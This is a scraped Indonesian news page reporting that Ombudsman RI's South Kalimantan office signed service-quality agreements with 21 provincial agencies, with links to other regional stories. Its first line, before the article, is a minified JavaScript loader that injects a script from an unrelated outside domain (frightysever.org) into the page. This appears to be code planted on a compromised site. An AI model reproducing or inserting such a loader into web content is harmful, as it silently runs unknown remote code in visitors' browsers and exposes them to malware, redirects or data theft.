(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemprov Kalsel

Ombudsman RI Perwakilan Kalsel MoU dengan 21 SKPD Pemprov KalselÂ


KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H. Sahbirin Noor didampingi Sekdaprov Kalsel Roy Rizali Anwar menyaksikan penandatanganan perjanjian kerjasama antara Ombudsman RI Perwakilan Kalsel dan 21 pimpinan SKPD di lingkup Pemprov Kalsel, Senin (4/7/2022).

Perjanjian kerjasama ini merupakan tindak lanjut dari MoU yang sudah ditandatangani Gubernur Kalsel dengan Ombudsman RI Perwakilan Kalsel pada Oktober 2021 lalu.

SKPD lingkup Pemprov Kalsel yang melakukan penandatanganan yakni Inspektorat, Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu, Dinas Pendidikan dan Kebudayaan, Dinas Koperasi dan UKM, Dinas PUPR, Dinas Lingkungan Hidup, Diskominfo, Dinas Pemberdayaan Perempuan dan Perlindungan Anak, Dinas Pemberdayaan Masyarakat dan Desa, Dinas Perhubungan, Bakeuda, RSJ Sambang Lihum, BPBD, Disdukcapil dan KB, BKD, RSUD Ulin, RSUD Dr H Moch Ansari Saleh, Dinas Perdagangan, Dinas Kesehatan, Dinas Sosial, Dinas Tenaga Kerja dan Transmigrasi.

MoU berisi kesepakatan tentang percepatan peningkatan kualitas pelayanan publik di lingkungan Pemprov Kalsel.

 

 

Baca juga: Air di Kemuning Mulai Surut, Cempaka dan Loktabat Utara Giliran ‘Kebagian’ Banjir

Gubernur Kalsel Sahbirin Noor mengungkapkan, kerjasama ini akan mendorong pelayanan publik yang lebih berkualitas di berbagai sektor.

“Kita harus menyadari bahwa penyelenggaraan pelayanan publik yang baik merupakan cerminan profesionalisme. Saya minta seluruh ASN melaksanakan pelayanan prima sesuai tupoksi di SKPD masing-masing,” pesan Gubernur Kalsel.

Gubernur Kalsel mengajak pimpinan SKPD untuk semakin menguatkan komitmen dalam memberikan pelayanan prima pada masyarakat lewat penandatangan perjanjian kerjasama ini.

Sementara itu, Ketua Ombudsman RI Perwakilan Kalsel, Hadi Rahman menuturkan, salah satu tugas Ombudsman yaitu membangun koordinasi dan kerjasama dengan instansi pemerintah pusat maupun daerah.

“Penting melakukan koordinasi dengan penyelenggara pelayanan publik. Dengan adanya kerjasama ini, diharapkan terjadi percepatan penanganan dan penyelesaian laporan masyarakat,” terang Hadi Rahman.

Selain itu, ujarnya, sektor-sektor yang dipantau terkait pengaduan pencegahan maladministrasi serta pengembangan SDM dalam hal pelayanan publik.

Baca juga: Hujan Lebat Pagi Hari di Banjarbaru, Jalan dan Permukiman Terendam 

Acara penandatanganan juga dirangkai dengan penyerahan tali asih kepada anggota Korpri Provinsi Kalsel. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.